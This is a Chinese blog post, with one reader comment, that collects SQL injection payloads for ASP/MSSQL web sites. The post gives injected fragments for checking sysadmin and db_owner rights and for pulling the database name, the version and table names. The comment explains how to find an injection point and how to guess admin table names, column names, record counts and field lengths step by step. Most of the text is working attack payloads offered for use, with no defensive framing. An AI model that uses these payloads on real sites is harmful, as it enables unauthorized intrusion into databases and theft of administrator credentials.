主页 » 技术技巧 » SQL注入之asp注入常用语句(不断收集中,希望大家一起补充)

SQL注入之asp注入常用语句(不断收集中,希望大家一起补充)

2007-11-091条评论

SQL注入是从正常的WWW端口通过对页面请求访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙很少会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。SQL注入的手法相当灵活,可以根据具体情况进行分析,构造巧妙的SQL语句,从而获取想要的数据。

是否支持多句查询
 @a int–

是否支持子查询 
and (Select count(1) from [sysobjects])>=0

返回用户名 
And user%2Bchar(124)=0

当前用户是否为 sysadmin 固定服务器角色的成员。
 And Cast(IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1

PS:0×730079007300610064006D0069006E00 = sysadmin

当前用户是否为 db_owner 固定数据库角色的成员
 And Cast(IS_MEMBER(0×640062005F006F0077006E0065007200) as varchar(1))%2Bchar(124)=1

0×640062005F006F0077006E0065007200 = db_owner

返回数据库名
 And db_name()%2Bchar(124)=0

操作系统和SQLserver版本
 And @@version = 1

本地服务器名称
 And @@SERVERNAME = 1

获得第一个表名
  And (Select Top 1 cast(name as varchar(8000)) from(Select Top 1 id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0 

现有1条评论

  1. sql 说:

    判断是否存在注入漏洞
    int(整数型)时的分析: and 1=1 and 1=2
    字符型参数注入点分析: ' and '1'='1和' and '1'='2
    数据库类型的判断:
    and exists (select count(*) from sysobjects)
    and exists (select count(*) from msysobjects)

    A。猜表!
    用到的语句:and exists (select count(*) from 你要猜的表名) 。在注入点后加上这句话,如果返回正常,说明你猜的表是存在的!比如
    and exists (select count(*) from admin),如果返回正常,说明admin这张表存在!如果返回错误,就说明不存在!。别的表也都是这么猜!

    B。猜列!
    用到的语句:and (select count(列名) from 猜到的表名)>0 。在注入点后加上这句话,如果返回正常,说明你猜的列是存在的!比如
    and (select count(username) from admin)>0,如果返回正常,那username这个列就存在!不过首先要确定from后面跟的表名要是存在的哦!不然你怎么猜都是错的!

    C。检测记录数
    用到的语句:and (select count(*) from 猜到的表名)>X (X是个数字)。在注入点后加上这句话,并不停地变换X这个数字,直到猜到准确的记录数为止!比如and (select count(*) from admin)>2 ,这个句子是猜admin表里有几条记录的,也就是有几个管理员(因为一个管理员对应一条记录嘛!)。如果返回正常,说明admin这张表里的记录数大于 2。这个时候我们把2改成别的大一点的数!比如5,如果返回错误,说明管理员的个数在2和5之间,2和5之间的整数是3和4,这个时候我们变换语句为 and (select count(*) from admin)=3或者=4,哪个返回正常那管理员的个数就是哪个。如果提交>5还返回错误,那就再取一个更大的数,再重复刚才的动作就可以猜到记录数!

    D。检测字段长度
    用到的语句:and (select top 1 len(列) from 表)>X (X和刚才一样!)。我来解释一下这个句子,select top 1是查询第一条数据的意思!(在WEB环境下不支持多行回显!只是一次查询的数据不能超过一行!),len是MSSQL里的一个函数,用法是len(), ()里可以是字符串也可以是表达式也可以是列名!知道这些,大家应该可以看懂了吧!后面那个X的变换方法上面的一样!

发表评论